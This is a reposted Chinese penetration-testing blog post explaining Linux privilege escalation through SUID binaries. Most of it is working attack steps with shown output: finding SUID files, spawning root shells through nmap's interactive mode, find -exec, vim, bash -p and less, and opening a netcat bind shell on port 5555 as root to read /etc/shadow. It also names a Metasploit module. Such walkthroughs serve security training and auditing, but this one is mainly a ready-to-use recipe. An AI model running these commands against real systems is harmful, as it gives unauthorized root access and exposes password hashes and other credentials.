Linux下利用SUID提权

2017-11-1 / 2 评论 渗透测试 / Mrxn

本文共计 1300 字,感谢您的耐心浏览与评论.

今天给大家带来的是linux下的提权技巧。SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
已知的可用来提权的linux可行性的文件列表如下:
Nmap
Vim
find
Bash
More
Less
Nano
cp

以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。

find / -user root -perm -4000-print2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
1.png
以上所有二进制文件都将以root用户权限执行,因为它们的权限中包含"s",并且对应的是root权限。
ls -l /usr/bin/nmap
-rwsr-xr-x 1root root 7806762008-04-0810:04/usr/bin/nmap

2.png NMAP
较旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。由于Nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。

nmap -V

3.png 交互模式可以通过执行Nmap参数" interactive ":

nmap --interactive

4.png 以下命令将提供一个提升的shell。

nmap> !sh
sh-3.2# whoami
root

5.png 也可以通过Metasploit模块对Nmap的二进制文件进行权限提升。
exploit/unix/local/setuid_nmap
Find
如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。
touch pentestlab
find pentestlab -exec whoami \;

6.png

大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。

find pentestlab -exec netcat -lvp 5555 -e /bin/sh \; 

7.png

连接上去就会直接获取到一个Root权限的shell。

netcat 192.168.1.1895555
id
cat /etc/shadow
8.png 

VIM
Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny /etc/shadow

9.png Vim - Root权限:

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
10.png 

Bash
以下命令将以root权限打开一个bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
11.png 

Less
Less和More都执行以用来提权。

less /etc/passwd
!/bin/sh

12.png 

PS:文章来源于 杂术馆 .好文共赏!如对原创造成影响,深表歉意!

标签: Linux 提权 suid

转载:转载请注明原文链接 - Linux下利用SUID提权


2条回应:“Linux下利用SUID提权”

  1. WRZ

    都是技术文章


发表评论

{view_code_no}